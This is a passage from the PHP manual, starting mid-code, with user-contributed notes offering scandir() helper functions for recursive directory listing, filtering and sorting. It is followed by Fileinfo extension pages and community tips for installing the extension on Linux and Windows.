       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_file($d.'/'.$f)&&(($x)?ereg($x.'$',$f):1))$l[]=$f;
       return $l;
}

//NNNIIIinnnjaaa::
//array of directories
function dir_list($d){
       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_dir($d.'/'.$f))$l[]=$f;
       return $l;
}

/********************************************************************\
                    PRETTY PRETTY LIGHTS (DOCUMENTATION)
\********************************************************************/

/********************************************************************
Overloaded PHP file listing function:
array file_list ( string $directory [, string $file_extension] )

$directory
  path without backslash, e.g. "/home/public_html/blarg"

$file_extention
  optionally filter specific filename extentions, e.g. ".jpg"

>>>>>>>>>>>>>>>>>>>>>>>>>>>>> TRANSLATION <<<<<<<<<<<<<<<<<<<<<<<<<<<<
file_list("/home");          //return list of files (no directories)
file_list("/home", ".jpg");  //return only .jpg file list
\********************************************************************/

//(note: one slash (/) below and you enable all your test functions, guess where ;-))
/********************************************************************\
// TEST FUNCTIONS... IF THESE WORK, THIS FUNCTION WORKS ON THIS PLATFORM
echo "<hr><b>File List:</b><br>";
$n = file_list(getcwd());
if($n) foreach($n as $f) echo "$f<br>";             //current files

echo "<hr><b>Files with extension .php:</b><br>";
$n = file_list(getcwd(),".php");
if($n) foreach($n as $f) echo "$f<br>";             //files with .php extensions

echo "<hr><b>Directories:</b><br>";
$d = dir_list(getcwd());
if($d) foreach($d as $f) echo "$f<br>";             //directories
/********************************************************************/

/************\
RUNTIME NOTES:
file_list($arg1); // php issues a warning that there is no second parameter, but we know that, izz ok
\************/

/*******************************\
TESTED AND WORKING ON 2009.04.30:
OS:     Linux 2.6.9-78.0.17.ELsmp
APACHE: 2.2.9
PHP:    5.2.5
\*******************************/
?>
kyperkins at gmail dot com 05-Feb-2009 12:11
Here's a simple little scandir() function that can pick a random photo (jpg only so far) and dislpay it. This also goes through an exclusion list and doesn't store anything you don't want to display. Use as you wish

<?php
        $dir=scandir("photos");
        $exclude=array("photos/.","photos/..","photos/ex");
        $photos=array();
        for ($x=0; $x<count($dir); $x++){
            $dir[$x]="photos/".$dir[$x];
            if (is_dir($dir[$x]) && !in_array($dir[$x], $exclude)){
                $thisfolder=scandir($dir[$x]);
                for ($f=0; $f<count($thisfolder); $f++)
                if (strpos(strtolower($thisfolder[$f]), ".jpg"))
                    $photos[]=$dir[$x]."/".$thisfolder[$f];
            }
        }
        $rand=rand(0, count($photos));
        echo "<div style='text-align: center;'>";
        echo "<img src='".$photos[$rand]."' alt='' style='width: 80%'/>";
        echo "</div>";
        ?>
Dustin 06-Jan-2009 12:37
If I'm remembering my CS classes right... this would be the 'bare bones' recursive method to extract directories and files...

<?php
function getDirectoryTree( $outerDir ){
    $dirs = array_diff( scandir( $outerDir ), Array( ".", ".." ) );
    $dir_array = Array();
    foreach( $dirs as $d ){
        if( is_dir($outerDir."/".$d) ) $dir_array[ $d ] = getDirectoryTree( $outerDir."/".$d );
        else $dir_array[ $d ] = $d;
    }
    return $dir_array;
}
?>
admin at utahfishinginfo dot com 20-Dec-2008 12:47
Here is a function that parses your website's directory tree, similar to the scanDirectories function provided by fatpratmatt.  However, this allows you to filter out all files except for those with specific extensions, in addition to allowing you to ignore entire directories, and also has a list of specific files to ignore.  One last addition is that it allows you to use a regular expression to ignore another set of files.

I use this to walk the directory structure of my website, and to generate a sitemap.xml for Google sitemaps to index my site.  This allows me to skip dev, data, library, etc. folders, and files that are not front end files.

The way it's written means you don't need to worry about excluding specific files at all unless they have the extension you are looking for (i.e. html or php files).

Enjoy.

<?php
  function get_files($root_dir, $all_data=array())
  {
    // only include files with these extensions
    $allow_extensions = array("php", "html");
    // make any specific files you wish to be excluded
    $ignore_files = array("gdform.php","fishheader.php","fishfooter.php",
      "sitelinks.php","google204accd1c3ac0501.html","sitemapxml.php",
      "rotate.php", "fishstockingreport2.php", "repcentral.php", "repne.php",
      "repnorth.php","reppowell.php","repse.php","repsouth.php","repse.php",
      "stockreplib.php","iestyles.php");
    $ignore_regex = '/^_/';
    // skip these directories
    $ignore_dirs = array(".", "..", "images", "dev", "lib", "data", "osh", "fiq", "google",
      "stats", "_db_backups", "maps", "php_uploads", "test");

    // run through content of root directory
    $dir_content = scandir($root_dir);
    foreach($dir_content as $key => $content)
    {
      $path = $root_dir.'/'.$content;
      if(is_file($path) && is_readable($path))
      {
        // skip ignored files
        if(!in_array($content, $ignore_files))
        {
          if (preg_match($ignore_regex,$content) == 0)
          {
            $content_chunks = explode(".",$content);
            $ext = $content_chunks[count($content_chunks) - 1];
            // only include files with desired extensions
            if (in_array($ext, $allow_extensions))
            {
                // save file name with path
                $all_data[] = $path;
            }
          }
        }
      }
      // if content is a directory and readable, add path and name
      elseif(is_dir($path) && is_readable($path))
      {
        // skip any ignored dirs
        if(!in_array($content, $ignore_dirs))
        {
          // recursive callback to open new directory
          $all_data = get_files($path, $all_data);
        }
      }
    } // end foreach
    return $all_data;
  } // end get_files()

?>
dsiembab at fullchannel dot net 09-Dec-2008 08:29
Back in the saddle of scandir I wrote this function for a function that I needed to seperate directories from files. Since I am still learning from my last example way below I would figure I would add it so it can be criticized.
<?php
function dirlist($dir, $bool = "dirs"){
   $truedir = $dir;
   $dir = scandir($dir);
   if($bool == "files"){ // dynamic function based on second pram
      $direct = 'is_dir';
   }elseif($bool == "dirs"){
      $direct = 'is_file';
   }
   foreach($dir as $k => $v){
      if(($direct($truedir.$dir[$k])) || $dir[$k] == '.' || $dir[$k] == '..' ){
         unset($dir[$k]);
      }
   }
   $dir = array_values($dir);
   return $dir;
}
?>
<?php
print_r(dirlist("../"));  //confirm array of subdirectories

print_r(dirlist("../", "files") // confirm list on files in the directory
?>
webmaster at asylum-et dot com 23-Jul-2008 09:50
<?php
/**
 * outputs all files and directories
 * recursively starting with the given
 * $base path. This function is a combination
 * of some of the other snips on the php.net site.
 * All are good but lacked one thing or another
 * that I needed like .htaccess
 * files get excluded with the one that checks to
 * see if the first character is a . and omits
 * that.
 *
 * @example rscandir(dirname(__FILE__).'/'));
 * @param string $base
 * @param array $omit
 * @param array $data
 * @return array
 */
function rscandir($base='', &$data=array()) {

  $array = array_diff(scandir($base), array('.', '..')); # remove ' and .. from the array */

  foreach($array as $value) : /* loop through the array at the level of the supplied $base */

    if (is_dir($base.$value)) : /* if this is a directory */
      $data[] = $base.$value.'/'; /* add it to the $data array */
      $data = rscandir($base.$value.'/', $data); /* then make a recursive call with the
      current $value as the $base supplying the $data array to carry into the recursion */

    elseif (is_file($base.$value)) : /* else if the current $value is a file */
      $data[] = $base.$value; /* just add the current $value to the $data array */

    endif;

  endforeach;

  return $data; // return the $data array

}

echo '<pre>'; var_export(rscandir(dirname(__FILE__).'/')); echo '</pre>';
/*
Output:
array (
  0 => '/path/to/web/.htaccess',
  1 => '/path/to/web/foo/',
  2 => '/path/to/web/foo/file.txt'
)
*/
?>
asamir at asamir dot net 05-Mar-2008 01:21
This is a modification of scanDirectories function that generates a list of all files in the chosen directory and all subdirectories of specific extentions $allowext

<?php
function scanDirectories($rootDir, $allowext, $allData=array()) {
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        $path = $rootDir.'/'.$content;
        $ext = substr($content, strrpos($content, '.') + 1);

        if(in_array($ext, $allowext)) {
            if(is_file($path) && is_readable($path)) {
                $allData[] = $path;
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}

$rootDir = "www";
$allowext = array("zip","rar","html");
$files_array = scanDirectories($rootDir,$allowext);
print_r($files_array);
?>
SlowWalkere at gmail dot com 16-Feb-2008 01:22
Just noticed a minor difference between scandir and readdir.

When opening a directory and using readdir(), each file appears to be accessed in the process.  This resets the "Last Accessed" time that you would get with fileatime().

With scandir(), the list is created and none of the files are accessed.  Therefore the access times remain unchanged.

I encountered this while writing a script to scan a directory and delete any file that hadn't been accessed in x time.  Kind of defeated the purpose when the directory listing accessed every file...
fatpratmatt dot at dot gmail dot com 27-Dec-2007 01:28
This function generates a list of all files in the chosen directory and all subdirectories, throws them into a NON-multidimentional array and returns them.

Most of the recursive functions on this page only return a multi-dimensional array.

This is actually a modification of some one else's function (thanks mail at bartrail dot de ;])

<?php
function scanDirectories($rootDir, $allData=array()) {
    // set filenames invisible if you want
    $invisibleFileNames = array(".", "..", ".htaccess", ".htpasswd");
    // run through content of root directory
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        // filter all files not accessible
        $path = $rootDir.'/'.$content;
        if(!in_array($content, $invisibleFileNames)) {
            // if content is file & readable, add to array
            if(is_file($path) && is_readable($path)) {
                // save file name with path
                $allData[] = $path;
            // if content is a directory and readable, add path and name
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}
?>

Example output:

print_r(scanDirectories("www"));
---
Array
(
    [0] => www/index.php
    [1] => www/admin.php
    [3] => www/css/css.css
    [4] => www/articles/2007/article1.txt
    [4] => www/articles/2006/article1.txt
    [8] => www/img/img1.png
)
cHH 05-Nov-2007 06:46
Since scandir() returns and array, here is a more concise method of dealing with the '.' and '..' problem when listing directories:

<?php
$target = '/';
$weeds = array('.', '..');
$directories = array_diff(scandir($target), $weeds);

foreach($directories as $value)
{
   if(is_dir($target.$value))
   {
      echo $value.'<br />';
   }
}
?>
deryckchan at gmail dot com 31-Aug-2007 04:44
Bear in mind that sorting is *always* performed when scandir() is called. String sorting takes O(|s|n log n) runtime, and this adds to the burden of the server's memory and processing power.

Therefore, whenever the alphabetical order of the directory content is unimportant, especially if sorting is to be performed by another order, or the natural order of the files on the filesystem is to be utilized, the use of opendir(), readdir() and closedir() combined is always preferred to scandir().
dsiembab at fullchannel dot net 28-Jun-2007 09:51
Saw banzai monkeys code and tweaked it a little. I don't have scandir. So I had to play with the suggested use for php4.
Pretty new to PHP so beer with me. This will show your current directory as a link called "Back" and will list all of your files in a menu. I wanted this because I have a lot of static pages and needed a menu that would auto update every time I added a file.

<?php
$current=getcwd();
$directory=basename($current);
$direct=str_replace('-',' ',$directory);
$directoryuppercasewords=ucwords($direct);

/*this first section above will  get your current folder or directory and since I have a "-" between the words of my file I have to strip them to look good if I want to show the current folder or directory in the title of the first link
*/
$dir = '.';
$dh  = opendir($dir);
while (false !== ($filename = readdir($dh))) {
    $files[] =$filename;
}
$t=array_slice($files,2);
$f=array_search('index.php',$t);
/*this code above with the variable $t gets rid of the '.' and the '..' parent and ancestor files. And the variable $f finds the index file and with the code below 'unset' let you use $f as the key to get rid of that file.
*/
unset($t[$f]);
  print('<ul align="left">');
    print('<li><a href="." title="'.$directoryuppercasewords.'">Back</a></br></li>');
  foreach($t as $key => $value){
    $phpkill=str_replace('.php', '', $value);
    $htmlkill=str_replace('.html', '', $phpkill);
    $dashkill=str_replace('-',' ',$htmlkill);
    $uppercasewords=ucwords($dashkill);

    print('<li><a href="' . $dir . '/' . $value . '" title="'.$uppercasewords.'>' . $uppercasewords . "</a></br></li>");
  }
  print('</ul>');
     closedir($dh);
?>
I basically made all the variables so they could explain themselves, Regular expression is not my strong point right now, just becoming familiar with php functions is more of a priority, I hope this is usefull to someone.
aryel at redtwilight dot com dot br 07-Feb-2007 08:07
This function is similar to scandir, but works in PHP4. It uses readdir to get directory info.

<?php
function php4_scandir($dir,$listDirectories=false, $skipDots=true) {
    $dirArray = array();
    if ($handle = opendir($dir)) {
        while (false !== ($file = readdir($handle))) {
            if (($file != "." && $file != "..") || $skipDots == true) {
                if($listDirectories == false) { if(is_dir($file)) { continue; } }
                array_push($dirArray,basename($file));
            }
        }
        closedir($handle);
    }
    return $dirArray;
}
?>
beingmrkenny at gmail dot com 13-Aug-2006 08:41
I wrote this function to read a folder and place all the folders and sub folders it contains into an array.

<?php

// Initialise empty array, otherwise an error occurs
$folders = array();

function recursive_subfolders($folders) {

    // Set path here
    $path = '/path/to/folder';

    // Create initial "Folders" array
    if ($dir = opendir($path)) {
        $j = 0;
        while (($file = readdir($dir)) !== false) {
            if ($file != '.' && $file != '..' && is_dir($path.$file)) {
                $j++;
                $folders[$j] = $path . $file;
            }
        }
    }

    closedir($dir);

    // Then check each folder in that array for subfolders and add the subfolders to the "Folders" array.
    $j = count($folders);
    foreach ($folders as $folder) {
        if ($dir = opendir($folder)) {
            while (($file = readdir($dir)) !== false) {
                $pathto = $folder. '/' . $file;
                if ($file != '.' && $file != '..' && is_dir($pathto) && !in_array($pathto, $folders)) {
                    $j++;
                    $folders[$j] = $pathto;
                    $folders = recursive_subfolders($folders);
                }
            }
        }
        closedir($dir);
    }

    sort($folders);
    return $folders;
}

$folders = recursive_subfolders($folders);

?>

$folders now contains an array with the full paths to each subfolder. E.g.:

Array
(
    [0] => /path/to/folder/dir1
    [1] => /path/to/folder/dir1/subdir
    [2] => /path/to/folder/dir1/subdir/subsubdir
    [3] => /path/to/dolfer/dir2
)

This function has only been tested on Linux.
www.mdsjack.bo.it 07-Apr-2006 08:54
I would like to share a couple of functions I've made to get an Array of files of a certain extension inside a Directory.

<?php

// Firstly, a PHP 5 emulation

function php4_scandir($dir, $sort = 0)
{
    if (PHP_VERSION >= '5') return scandir($dir, $sort);

    $dirmap = array();

    if(!is_dir($dir))
    {
        trigger_error("lib::scandir($dir): failed to open dir: Invalid argument", E_USER_WARNING);
        return false;
    }

    $dir = opendir($dir);

    while (false !== ($file = readdir($dir)))
        $dirmap[] = $file;

    closedir($dir);

    ($sort == 1) ? rsort($dirmap) : sort($dirmap);

    return $dirmap;
}

/*
Then, this one converts directory files into array items.
It also can filter by file extension.
*/

function dir2arr($dir, $ext = null)
{
    $arr = array();

    if(PHP_VERSION >= '4.3.0')
    {
        # PHP 4.3.0 code
        if ($dir = glob("$dir*".(!$ext ? '.*' : '{'.$ext.', '.strtoupper($ext).'}'), GLOB_NOSORT + GLOB_BRACE))
            foreach ($dir as $file)
                $arr[] = preg_replace("#(?:.+\/{1})*([^\.]+)\.(.+)#i", '$1', $file);
    }
    else
    {
        # PHP 4.2.x code
        $dir = php4_scandir($dir); // See code snippet above
        if(!$ext) $ext = '\.[a-z]+';
        $pattern = "#([^\.|\.\.$]+)$ext#i";
        foreach ($dir as $file)
            if (preg_match($pattern, $file, $filename))
                $arr[] = $filename[1];
    }

    return (empty($arr) ? false : $arr);
}

?>
Yassin Ezbakhe <yassin88 at gmail dot com> 01-Sep-2005 01:18
<?php
/**********************************************
 *
 *   PURPOSE: List files inside the specified path and its
 *   subdirectories
 *
 *   array scandir_recursive (string dir)
 *
 *   This function will return a multidimensional array
 *   that represents main folder's tree structure.
 *   Each folder has its own named array
 *
 **********************************************/

function scandir_recursive($directory)
{
    $folderContents = array();
    $directory = realpath($directory).DIRECTORY_SEPARATOR;

    foreach (scandir($directory) as $folderItem)
    {
        if ($folderItem != "." AND $folderItem != "..")
        {
            if (is_dir($directory.$folderItem.DIRECTORY_SEPARATOR))
            {
                $folderContents[$folderItem] = scandir_recursive( $directory.$folderItem."\\");
            }
            else
            {
                $folderContents[] = $folderItem;
            }
        }
    }

    return $folderContents;
}
?>
trevi55 at gmail dot com 08-Jul-2005 02:38
For non php5-users here you are this function...
It isn't set the wrapper, but I think it's enough :P.

If no pararameter is set, the scandir() function will scan the local file directory.

Set the optional parameter "$sort" to 1 to reverse the alphabetical-sorting.

<?php
function scandir($dir = './', $sort = 0)
{

    $dir_open = @ opendir($dir);

    if (! $dir_open)
        return false;

    while (($dir_content = readdir($dir_open)) !== false)
            $files[] = $dir_content;

    if ($sort == 1)
        rsort($files, SORT_STRING);
    else
        sort($files, SORT_STRING);

    return $files;
}
?>
progrium+php at gmail dot com 01-Jul-2005 01:54
I made this to represent a directory tree in an array that uses the file or directory names as keys and full paths as the value for files. Directories are nested arrays.

<?php
function generatePathTree($rootPath) {
    $pathStack = array($rootPath);
    $contentsRoot = array();
    $contents = &$contentsRoot;
    while ($path = array_pop($pathStack)) {
       $contents[basename($path)] = array();
       $contents = &$contents[basename($path)];
       foreach (scandir($path) as $filename) {
           if ('.' != substr($filename, 0, 1)) {
               $newPath = $path.'/'.$filename;
               if (is_dir($newPath)) {
                   array_push($pathStack, $newPath);
                   $contents[basename($newPath)] = array();
               } else {
                   $contents[basename($filename)] = $newPath;
               }
           }
       }
    }
    return $contentsRoot[basename($rootPath)];
}
?>

The function will return something like this:

Array
(
    [index.php] => /usr/local/www/index.php
    [js] => Array
        (
            [async.js] => /usr/local/www/js/async.js
            [dom.js] => /usr/local/www/js/dom.js
            [effects.js] => /usr/local/www/js/effects.js
            [prototype.js] => /usr/local/www/js/prototype.js
        )

    [logo.png] => /usr/local/www/logo.png
    [server.php] => /usr/local/www/server.php
    [test.js] => /usr/local/www/test.js
)
Pawel Dlugosz 11-May-2005 08:18
For directory containing files like (for example) -.jpg the results of scandir are a little "weird" ;)

<?php

   $dir = '/somedir';
   $files = scandir($dir);
   print_r($files);
?>

Array
(
    [0] => -.jpg
    [1] => .
    [2] => ..
    [3] => foo.txt
    [4] => somedir
)

Beware - sorting is in ASCII order :)
wwwebdesigner at web doott de 12-Apr-2005 09:20
using sort of scandir() that returns the content sorted by Filemodificationtime.

<?php
function scandir_by_mtime($folder) {
  $dircontent = scandir($folder);
  $arr = array();
  foreach($dircontent as $filename) {
    if ($filename != '.' && $filename != '..') {
      if (filemtime($folder.$filename) === false) return false;
      $dat = date("YmdHis", filemtime($folder.$filename));
      $arr[$dat] = $filename;
    }
  }
  if (!ksort($arr)) return false;
  return $arr;
}
?>

returns false if an error occured
otherwise it returns an array like this.
Array
(
    [20040813231320] => DSC00023.JPG
    [20040813231456] => DSC00024.JPG
    [20040814003728] => MOV00055.MPG
    [20040814003804] => DSC00056.JPG
    [20040814003946] => DSC00057.JPG
    [20040814004030] => DSC00058.JPG
    [20040814014516] => DSC00083.JPG
    [20050401161718] => album.txt
)
brodseba at brodseba dot com 25-Mar-2005 05:53
This function create a HTML view of a directory.  It also look for subdirectory.  I use some icon to differ from folders or files.  It's also possible to get specific icon for specific file type.

Each entrey is clickable so you can use it to populate a form field.

Have fun!

<?php
function ls_recursive2($dir)
{
  if (is_dir($dir))
  {
    $files = scandir($dir);

    foreach ($files as $file)
    {
      $currentfile = $dir . "/" . $file;

      $last_dir = "";
      // Calculate they identation.
      $count = substr_count($currentfile, '/');
      $minus_count = substr_count($_SERVER['DOCUMENT_ROOT'], '/');
      $count -= ($minus_count + 2);

      for($p = 0; $p < $count; $p++)
      {
        $last_dir .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
      }

      if (is_dir($currentfile))
      {
        if ($file != '.' && $file != '..')
      {
        $last_dir .= "<img src='images/folder.gif' alt='' align='middle' width='16' height='16' border='0'>&nbsp;<a href=\"javascript:go('" . $currentfile . "')\">". substr($currentfile, strrpos($currentfile, '/')) . "</a><br>";
          echo $last_dir;
          ls_recursive2($currentfile);
        }
      }
      else
      {
        $last_dir .= "<img src='images/file.gif' alt='' align='middle' width='16' height='16' border='0'>&nbsp;<a href=\"javascript:go('" . $currentfile . "')\">". substr($currentfile, strrpos($currentfile, '/')) . "</a><br>";
        echo $last_dir;
      }
    }
  }
}
?>
csaba at alum dot mit dot edu 05-Mar-2005 12:19
Scandir on steroids:
For when you want to filter your file list, or only want to list so many levels of subdirectories...

<?php
function dirList($path="", $types=2, $levels=1, $aFilter=array()) {
//  returns an array of the specified files/directories
//  start search in $path (defaults to current working directory)
//  return $types:  2 => files; 1 => directories; 3 => both;
//  $levels: 1 => look in the $path only; 2 => $path and all children;
//          3 => $path, children, grandchildren; 0 => $path and all subdirectories;
//          less than 0 => complement of -$levels, OR everything starting -$levels down
//                e.g. -1 => everthing except $path; -2 => all descendants except $path + children
//  Remaining argument(s) is(are) a filter array(list) of regular expressions which operate on the full path.
//    First character (before the '/' of the regExp) '-' => NOT.
//    First character (after a possible '-') 'd' => apply to directory name
//    The filters may be passed in as an array of strings or as a list of strings
//  Note that output directories are prefixed with a '*' (done in the line above the return)
   $dS = DIRECTORY_SEPARATOR;
   if (!($path = realpath($path?$path:getcwd()))) return array();    // bad path
   // next line rids terminating \ on drives (works since c: == c:\ on PHP).  OK in *nix?
   if (substr($path,-1)==$dS) $path = substr($path,0,-1);
   if (is_null($types)) $types = 2;
   if (is_null($levels)) $levels = 1;
   if (is_null($aFilter)) $aFilter=array();

   // last argument may be passed as a list or as an array
   $aFilter = array_slice(func_get_args(),3);
   if ($aFilter && gettype($aFilter[0])=="array") $aFilter=$aFilter[0];
   $adFilter = array();
   // now move directory filters to separate array:
   foreach ($aFilter as $i=>$filter)                  // for each directory filter...
     if (($pos=stripos(" $filter","d")) && $pos<3) {  // next line eliminates the 'd'
         $adFilter[] = substr($filter,0,$pos-1) . substr($filter,$pos);
         unset($aFilter[$i]); }
   $aFilter = array_merge($aFilter);    // reset indeces

   $aRes = array();                    // results, $aAcc is an Accumulator
   $aDir = array($path);    // dirs to check
   for ($i=$levels>0?$levels++:-1;($aAcc=array())||$i--&&$aDir;$aDir=$aAcc)
     while ($dir = array_shift($aDir))
         foreach (scandir ($dir) as $fileOrDir)
           if ($fileOrDir!="." && $fileOrDir!="..") {
               if ($dirP = is_dir ($rp="$dir$dS$fileOrDir"))
                 if (pathFilter("$rp$dS", $adFilter))
                     $aAcc[] = $rp;
               if ($i<$levels-1 && ($types & (2-$dirP)))
                 if (pathFilter($rp, $aFilter))
                     $aRes[] = ($dirP?"*":"") . $rp; }
   return $aRes;
}
?>

example usage:
<?php
define ("_", NULL);
// this will find all non .jpg, non .Thumbs.db files under c:\Photo
$aFiles = dirList('c:\Photo', _, 0, '-/\.jpg$/i', '-/\\\\Thumbs.db$/');
$aFiles = dirList();    // find the files in the current directory
// next lines will find .jpg files in non Photo(s) subdirectories, excluding Temporary Internet Files
set_time_limit(60);        // iterating from the top level can take a while
$aFiles = dirList("c:\\", _, 0, '/\.jpg$/i', '-d/\\\\Photos?$/i', '-d/Temporary Internet/i');
?>

Note that this function will consume a lot of time if scanning large
directory structures (which is the reason for the '[-]d/.../' filters).

Csaba Gabor from Vienna
csaba at alum dot mit dot edu 04-Mar-2005 01:52
A nice way to filter the files/directories you get back from scandir:

<?php
function pathFilter ($path, $aFilter) {
   // returns true iff $path survives the tests from $aFilter
   // $aFilter is an array of regular expressions: [-]/regExp/modifiers
   // if there is a leading '-' it means exclude $path upon a match (a NOT test)
   // If the first expression has a leading '-', $path is in, unless it gets excluded.
   // Otherwise, $path is out, unless it gets included via the filter tests.
   // The tests are applied in succession.
   // A NOT test is applied only if $path is currently (within the tests) included
   // Other tests are applied only if $path is currently excluded.  Thus,
   // array("/a/", "-/b/", "/c/") => passes if $path has a c or if $path has an a but no b
   // array("/a/", "/c/", "-/b/") => passes if $path has an a or c, but no b
   // array("-/b/", "/a/", "/c/") => passes if $path has no b, or if $path has an a or c
   if (!$aFilter) return true;           // automatic inclusion (pass) if no filters
   foreach ($aFilter as $filter) break;  // we don't know how it's indexed
   $in = $filter[0]=="-";                // initial in/exclusion based on first filter
   foreach ($aFilter as $filter)         // walk the filters
      if ($in==$not=($filter[0]=="-"))   //     testing only when necessary
         $in ^= preg_match(substr($filter,$not),$path);    // flip in/exclusion upon a match
   return $in;
}
?>

Csaba Gabor from Vienna
virtual at NOSPAM dot lapinbleu dot ch 09-Feb-2005 02:58
Since I needed to scan dirs and subdirs and wanted to have files and dirs not in the same var without having to explode it, I did this little function:

<?php

function scan_Dir($directory=NULL)
{
$temp = "";
if ($directory==NULL)
{
        $directory = getcwd();
}
$handle = opendir($directory);
while (false !== ($filename = readdir($handle)))
{
        if (($filename!=".") AND ($filename!=".."))
        {
                if (is_dir($directory."/".$filename))
                {
                        $old_directory = $directory;
                        $directory .= "/".$filename;
                        $temp = scan_Dir($directory);

                        $cpt = 0;
                        while ($cpt<count($temp["filename"]))
                        {
                                $arrfiles["path"][]      = $directory."/".$temp["filename"][$cpt];
                                $arrfiles["directory"][] = $directory;
                                $arrfiles["filename"][]  = $temp["filename"][$cpt];
                                $cpt++;
                        }
                        $directory = $old_directory;
                }
                else
                {
                        $arrfiles["path"][]      = $directory."/".$filename;
                        $arrfiles["directory"][] = $directory;
                        $arrfiles["filename"][]  = $filename;
                }
        }
}
return $arrfiles;
}
?>

This one seems to work properly and use multidimensional array.

To show your files, just use:
<?php

$dir2scan = "admin";
$yourvar = scan_Dir($dir2scan);

echo $yourvar["path"][0]."<br>"; //Complete path of the file with key 0 (dir + filename)

echo $yourvar["directory"][0]."<br>"; //Directory of the file with key 0

echo $yourvar["filename"][0]."<br>"; //Filename of the file with key 0

?>

Note that the parameter of the function is not necessary. If you don't give any, it will scan from the returned value of getcwd() function.
Stan P. van de Burgt 26-Oct-2004 06:05
scandir() with regexp matching on file name and sorting options based on stat().

<?php
function myscandir($dir, $exp, $how='name', $desc=0)
{
    $r = array();
    $dh = @opendir($dir);
    if ($dh) {
        while (($fname = readdir($dh)) !== false) {
            if (preg_match($exp, $fname)) {
                $stat = stat("$dir/$fname");
                $r[$fname] = ($how == 'name')? $fname: $stat[$how];
            }
        }
        closedir($dh);
        if ($desc) {
            arsort($r);
        }
        else {
            asort($r);
        }
    }
    return(array_keys($r));
}

$r = myscandir('./book/', '/^article[0-9]{4}\.txt$/i', 'ctime', 1);
print_r($r);
?>

files can be sorted on name and stat() attributes, ascending and descending:

name    file name
dev     device number
ino     inode number
mode    inode protection mode
nlink   number of links
uid     userid of owner
gid     groupid of owner
rdev    device type, if inode device *
size    size in bytes
atime   time of last access (Unix timestamp)
mtime   time of last modification (Unix timestamp)
ctime   time of last inode change (Unix timestamp)
blksize blocksize of filesystem IO *
blocks  number of blocks allocated
aidan at php dot net 21-May-2004 04:14
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


File Information

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Fileinfo Functions
    • finfo_buffer — Return information about a string buffer
    • finfo_close — Close fileinfo resource
    • finfo_file — Return information about a file
    • finfo_open — Create a new fileinfo resource
    • finfo_set_flags — Set libmagic configuration options
    • mime_content_type — Detect MIME Content-type for a file (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The functions in this module try to guess the content type and encoding of a file by looking for certain magic byte sequences at specific positions within the file. While this is not a bullet proof approach the heuristics used do a very good job.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

RickertB 17-Feb-2009 11:14
When installing fileinfo on php5.2 on ubuntu and having a problem with phpize,

you must also install the php5-dev package..
apt-get install php5-dev

Then verify if 'phpize' is in your PATH
Anonymous 10-Oct-2008 06:05
for gentoo you will need to emerge pecl-fileinfo
grillen at abendstille dot at 09-Oct-2008 10:54
on opensuse 10.2 systems you'll need the file-devel package.
greg at freephile dot com 01-Oct-2008 05:29
For Kubuntu systems and probably most other Linuxes, after installing libmime-devel, I could successfully install the PECL Fileinfo package.

$ sudo apt-get install libmagic-dev

$ sudo pecl install Fileinfo


Requirements

Before PHP 5.3.0, the magic_open library is needed to build this extension.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension is enabled by default as of PHP 5.3.0. Before this time, fileinfo was a PECL extension but is no longer maintained there. However, versions prior to 5.3+ may use the » discontinued PECL extension.

Windows users must include the bundled php_fileinfo.dll DLL file in php.ini to enable this extension.

The libmagic library is bundled with PHP, but includes PHP specific changes. A patch against libmagic named libmagic.patch is maintained and may be found within the PHP fileinfo extensions source.

Upgrade history of the bundled libmagic library
PHP Version | Updated libmagic Version | Notes
5.3.2 | 5.03 |
5.3.0 | 5.02 |

User Contributed Notes

abowers 19-Mar-2013 03:01
Windows users: just edit php.ini and uncomment this line:

extension=php_fileinfo.dll

Remember to restart Apache for new php.ini to take effect.
fuxa_kos at unihost dot cz 04-Sep-2012 08:29
when you are compiling php from source yourself, with --disable-all
you need --enable-fileinfo
mdahlke at pixelcarve dot com 26-Jul-2010 06:24
I found that while using the magic files from GnuWin 4.23 worked great for the PECL extension with PHP 5.2 on Win32, when I started migrating to PHP 5.3 all of a sudden Fileinfo no longer worked.  Updating the magic files to the latest version (4.26 at the time of this writing) worked like a charm.

I guess the bundled version of Fileinfo uses the new mime magic format while the old PECL version uses the old format.
darko at uvcms dot com 28-Jun-2008 05:04
I need to add an addendum to the previous instalation steps.

Recently gnuwin32 project made a new release of file package (4.24). Binary release does not contain all needed magic files for fileinfo extension.
Instead of downloading latest version of file package (4.24) just get previous one (4.23) which does contain all of the needed files.
darko at uvcms dot com 16-Apr-2008 11:35
It is really strange to find that installing filenfo extension on windows is not yet fully explained. Here are the latest most up-to-date steps to make this work:

1. Add php_fileinfo.dll to the list of enabled extensions
extension=php_fileinfo.dll

2. Download GNU file package for windows
get it from here: http://gnuwin32.sourceforge.net/downlinks/file-bin-zip.php

Extract the folder from the archive called shared\file which contains 4 magic files (magic, magic.mgc, magic.mime, magic.mime.mgc).

3. Place these 4 files in a known place

4. Add system enviroment variable MAGIC that points to the file called magic. For example if you placed magic files in folder called magic in c:\php that means that the propper path is c:\php\magic\magic

5. If you use IIS restart it and fileinfo is ready for use

5a. If you use apache you will have to restart operating system for the service to acknowledge MAGIC env. variable.


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

thomandre at gmail dot com 30-May-2013 11:41
In the PHP 5.3.13 CLI version, it might use the "MAGIC" environnement variable to get the magic database file. Due to the fact that this version doesn't use the standard format, this file may be wrong. You can see it via a simple script :

<?php
    var_dump($_SERVER['MAGIC']);
?>

